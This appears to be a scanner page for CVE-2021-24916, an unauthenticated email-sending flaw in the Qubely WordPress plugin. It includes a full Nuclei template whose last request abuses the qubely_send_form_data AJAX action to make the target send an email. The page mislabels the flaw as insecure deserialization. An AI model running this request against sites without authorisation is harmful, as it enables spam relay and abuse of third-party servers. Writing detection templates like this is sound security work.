WordPress Qubely < 1.8.6 - Unauthenticated Email Sending

highseverity

5.3CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Qubely WordPress plugin < 1.8.6 contains an insecure deserialization caused by unauthenticated users being able to send arbitrary emails via the qubely_send_form_data AJAX action, letting attackers send spam or malicious emails, exploit requires no authentication.

Impact

Attackers can send spam or malicious emails from the server, potentially leading to spam blacklisting or abuse.

Fix

Update to version 1.8.6 or later

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/qubely/readme.txt
Positive when: status_code == 200 and contains(body, "Qubely") and compare_versions(version, "< 1.8.6")
Send: GET {{BaseURL}}/
Positive when: status_code == 200 and contains_all(body, "qubely_urls", "\"nonce\"")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body, "\"success\":true", "qubely49fc16d8")

Run it with nuclei: nuclei -id CVE-2021-24916 -u <target>

The full check

id: CVE-2021-24916

info:
  name: WordPress Qubely < 1.8.6 - Unauthenticated Email Sending
  author: roberto
  severity: high
  description: |
   Qubely WordPress plugin < 1.8.6 contains an insecure deserialization caused by unauthenticated users being able to send arbitrary emails via the qubely_send_form_data AJAX action, letting attackers send spam or malicious emails, exploit requires no authentication.
  impact: |
   Attackers can send spam or malicious emails from the server, potentially leading to spam blacklisting or abuse.
  remediation: |
   Update to version 1.8.6 or later
  reference:
    - https://wpscan.com/vulnerability/93b893be-59ad-4500-8edb-9fa7a45304d5/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24916
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-24916
    epss-score: 0.01715
    epss-percentile: 0.77603
    cwe-id: CWE-284
  metadata:
    max-request: 3
    verified: true
    vendor: themeum
    product: qubely
    fofa-query: body="qubely_urls"
    publicwww-query: "/wp-content/plugins/qubely/"
  tags: cve,cve2021,wordpress,wp-plugin,qubely,wp,email,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/qubely/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Qubely")'
          - 'compare_versions(version, "< 1.8.6")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - '(?m)Stable tag:\s*([\d.]+)'

  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "qubely_urls", "\"nonce\"")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: nonce
        internal: true
        group: 1
        regex:
          - '"nonce":"([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qubely_send_form_data&[email protected]&email-subject=CVE-2021-24916+Test&email-body=test&field-error-message=err&form-success-message=qubely49fc16d8&form-error-message=qubely49fc16d8&qubely-form-input[name]=test&security={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "qubely49fc16d8")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from